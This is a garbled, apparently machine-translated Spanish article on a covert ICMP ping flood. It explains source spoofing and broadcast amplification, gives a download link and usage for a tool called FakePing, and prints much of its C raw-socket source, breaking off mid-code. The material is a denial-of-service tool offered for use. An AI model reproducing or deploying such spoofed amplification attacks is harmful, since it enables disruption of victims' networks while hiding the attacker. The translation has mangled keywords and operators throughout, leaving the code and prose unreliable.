Ping dirección IP de la inundación encubierta ataque



Recientemente, mucha gente se llama de nuevo para ir con lo muertos Ping qué sitio, pero técnicamente, no importa lo que los ataques de denegación de servicio, tenemos que cumplir una condición: con la menor cantidad de recursos a cambio de ser el mayor consumo del atacante. Nos gusta ir con Ping no sólo es extraña: con los mayores recursos de uno por el otro el menor daño, es ridículo: hace 50 la guerra popular años, probablemente pertenecen a actuar, y en la era de Internet no, ¿cuántas personas serán capaces de hacerlo.

Hoy en día, estamos a favor del Ping, Ping ICMP mediante el envío de mensajes (tipo 8 Código 0) explorar la existencia de máquinas de la red una herramienta, hace mucho tiempo, parte del sistema operativo (por ejemplo win95), no está bien tratado Ping paquetes grandes , resultando en un ping a la muerte de los ataques (Ping bolsa con una gran ruina entre sí o rellenas de red), con actualizaciones del sistema operativo, actualizaciones de red de ancho de banda, actualizaciones de hardware, en la actualidad, básicamente un paquete muy grande Ping efecto de percusión de gran tamaño (con excepción de un ataque distribuido), si debemos usar los paquetes de ping para atacar a otras máquinas, a menos que el uso del protocolo TCP / IP u otras características de la topología de la red de la mayoría de amplificado la intensidad de los ataques (retroalimentación positiva llamada)

En circunstancias normales, el proceso de Ping es así:

Host A envía paquetes ICMP al host B 8,0

Host B envía mensajes ICMP al host de 0,0 A

Porque ICMP existía ningún vínculo, así que nos dan la oportunidad, en el supuesto de acogida plantea ahora como A el host envía paquetes ICMP 8,0 C, los resultados ¿qué pasaría? Es evidente que el host B C anfitrión enviará este informe se papel lejos

Respuesta a la sede C, la siguiente estructura:

C error pasar por la respuesta del huésped

Un host host host ------------------ --------------------- B C

Este caso, como el anfitrión únicamente la necesidad de mantener el envío de paquetes Ping sin la necesidad de tratar con el regreso de EchoReply, por lo que el doble del aumento de la fuerza de ataque, e incluso el host B y C de acogida 都是 ser metas ofensivas, pero no se quedaría bajo su propia marca, es un método oculto de un tiro dos pájaros ataque.

Métodos SOCK_RAW por encima de IP pueden fácilmente camuflaje, pero incluso ampliada en dos ocasiones, para el sistema operativo más robusto y cuanto mayor sea el ancho de banda, ni mucho efecto, ¿nos ha vuelto a organizar los deportes? No derecha, dejar que el enemigo nos para ampliar Bueno, TCP / IP en un concepto llamado la emisión, la radiodifusión llamada significa que hay una dirección, cualquier host dentro de la LAN será enviado a esta dirección para recibir el mensaje (al igual que las emisiones de radio) si? hacer? ¡Sí! Si vamos a una dirección de difusión para enviar paquetes ICMP ECHO (es decir ping a la dirección de difusión de la misma), el resultado será un montón de respuesta, Ethernet, permitiendo que cada uno recibe un mensaje de difusión será la sede de la respuesta un ICMP_ECHOREPLY, si desea probar la máquina en unix Ping LAN dirección de difusión de lo que podrás ver un montón de paquetes de respuesta dup es repetir la respuesta, el sistema de ventanas, no el tipo de resultados debido a que el Microsoft Ping programa no responde a múltiples sin envasar, el primer paquete recibido después de la quedó atrás, y también de Microsoft del sistema no responde a la dirección de difusión del paquete por defecto, así que es mejor en un montón de pruebas unix LAN de acogida.

Aquí, inteligente ¿Sabes lo que quiero hacer ahora? Hey, hey, sí, cuando se pretende ser una dirección de difusión para atacar el host envía Ping momento de la solicitud, toda la dirección de difusión de la acogida responderá a la petición Ping Esto es equivalente a una fuerza de ataque N veces! (N = dirección de difusión en la respuesta del huésped a la cantidad de paquetes Ping)

Masquerading como el C de acogida están equivocados todos la respuesta del huésped de radio

Host A dirección de difusión --------------------- ======================= == anfitrión C

Escribí una herramienta FakePing, puede Http: / / www.patching.net / escopeta / descargar FakePing.exe.

El uso es FakePing.exe FakeIP TargetIP [packetsize], si TargetIP es la dirección de difusión, a continuación, FakeIP fue atacado.

Fuente hizo la siguiente declaración:

typedef struct _iphdr / / definición de la cabecera IP

(

h_verlen unsigned char; / / 4 grados 位 primer ministro, IP versión 4

char sin signo de tos; / / 8 servicios tipo TOS

total_len unsigned short; / / 16 de longitud total promedio (en bytes)

ident unsigned short; / / identificación de 16-bit

sin firmar frag_and_flags corto; / / 3 bits de bandera

ttl unsigned char; / / 8 de la mediana de supervivencia de la TTL

proto unsigned char / / protocolo de 8-bits (TCP, UDP o de otro tipo)

Suma de control unsigned short; / / 16 位 checksum de la cabecera IP

SourceIP unsigned int; / / 32 de fuente digital dirección IP

destIP unsigned int; / / 32 位 propósito de la dirección IP

) IP_HEADER;

/ / Definir el encabezado ICMP

typedef struct _ihdr

(

BYTE i_type; / / 8 bits tipo

BYTE i_code; / / código de 8-bits

USHORT i_cksum; / / 16 bits de control

USHORT i_id; / / número de identificación (por lo general con el número de proceso como el número de identificación)

USHORT i_seq; / / número de secuencia de mensajes

ULONG timestamp / / marca de tiempo

) ICMP_HEADER;

/ / Suma de comprobación: el cálculo de funciones de control

Suma de control USHORT (buffer * USHORT, int size)

(

cksum unsigned long = 0;

while (tamaño 1)

(

+ + =* Cksum búfer +;

-= tamaño sizeof (USHORT);

)

if (tamaño)

(

+ Cksum = * (* UCHAR) de amortiguación;

)

cksum = (cksum 16) + (cksum y 0xffff);

+ Cksum = (cksum 16);

retorno (USHORT) (cksum ~);

)

/ / FakePing función principal

int main (int argc, char ** argv)

(

int DataSize, ErrorCode, contador, bandera;

TimeOut int = 2000, SendSEQ = 0, packetsize = 32;

char SendBuf [65535] = (0);

WSADATA wsaData;

SockRaw SOCKET = (hembra) NULL;

struct sockaddr_in DirDestino;

ip_header IP_HEADER;

icmp_header ICMP_HEADER;

char FakeSourceIp [20], DestIp [20];

/ / Aceptar parámetros de la línea de comandos

if (argc 3)

(

printf ("FakePing por Escopeta

");

printf ("Este programa puede hacer ping-Las inundaciones de una FakeIP

");

printf ("Uso de una dirección IP de difusión como la FakeIP aumentará el efecto

");

printf ("Correo electrónico:

");

printf ("Shotgun@Xici.Net

");

printf ("Página web:

");

printf ("http://It.Xici.Net

");

printf ("http://www.Patching.Net

");

printf ("Uso:

FakePing.exe [DestinationIp FakeSourceIp packetsize]

");

printf ("Ejemplo:

");

printf ("FakePing.exe 192.168.15.23 192.168.15.255

");

printf ("192.168.15.23 192.168.15.200 FakePing.exe 6400

");

salida (0);

)

strcpy (FakeSourceIp, argv [1]);

strcpy (DestIp, argv [2]);

if (argc 3) = packetsize atoi (argv [3]);

if (packetsize 60000)

(

printf ("error! tamaño de los paquetes demasiado grande, debe 60K

");

salida (0);

)

printf ("% s Ahora falso Ping% s usando el tamaño de paquete =% d bytes

"

FakeSourceIp, DestIp, packetsize);

printf ("Ctrl + C para dejar de fumar

");

/ / Inicializar SOCK_RAW

if ((ErrorCode = WSAStartup (MAKEWORD (2,1), y wsaData))! = 0)

(

fprintf (stderr, "WSAStartup ha fallado:% d

", ErrorCode);

ExitProcess (STATUS_FAILED);

)

if ((SockRaw WSASocket = (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)

(

fprintf (stderr, "WSASocket () falló:% d

"WSAGetLastError ());

ExitProcess (STATUS_FAILED);

)

bandera = TRUE;

/ / Establecer IP_HDRINCL llenar su propia cabecera IP

ErrorCode = setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) y bandera, sizeof (int));

si (== ErrorCode SOCKET_ERROR)

printf ("Set IP_HDRINCL Error!

");

__try

(

/ / Establecer tiempo de espera enviar

ErrorCode = setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) & TimeOut, sizeof (TimeOut));

si (== ErrorCode SOCKET_ERROR)

(

fprintf (stderr, "No se pudo establecer enviar TimeOut:% d

"WSAGetLastError ());

__leave;

)

memset (& DirDestino, 0, sizeof (DirDestino));

DestAddr.sin_family = AF_INET;

DestAddr.sin_addr.s_addr = inet_addr (DestIp);

/ / Llenar la cabecera IP

ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (unsigned long)); / / alto número de versión 4 de IP, el primer ministro de la baja de cuatro

ip_header.total_len = htons (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)); / / 16 de longitud total promedio (en bytes)

ip_header.ident = 1;

/ / 16 de ID

ip_header.frag_and_flags = 0;

/ / 3 del pabellón

ip_header.ttl = 128;

/ / 8-bits TTL tiempo de supervivencia

ip_header.proto = IPPROTO_ICMP;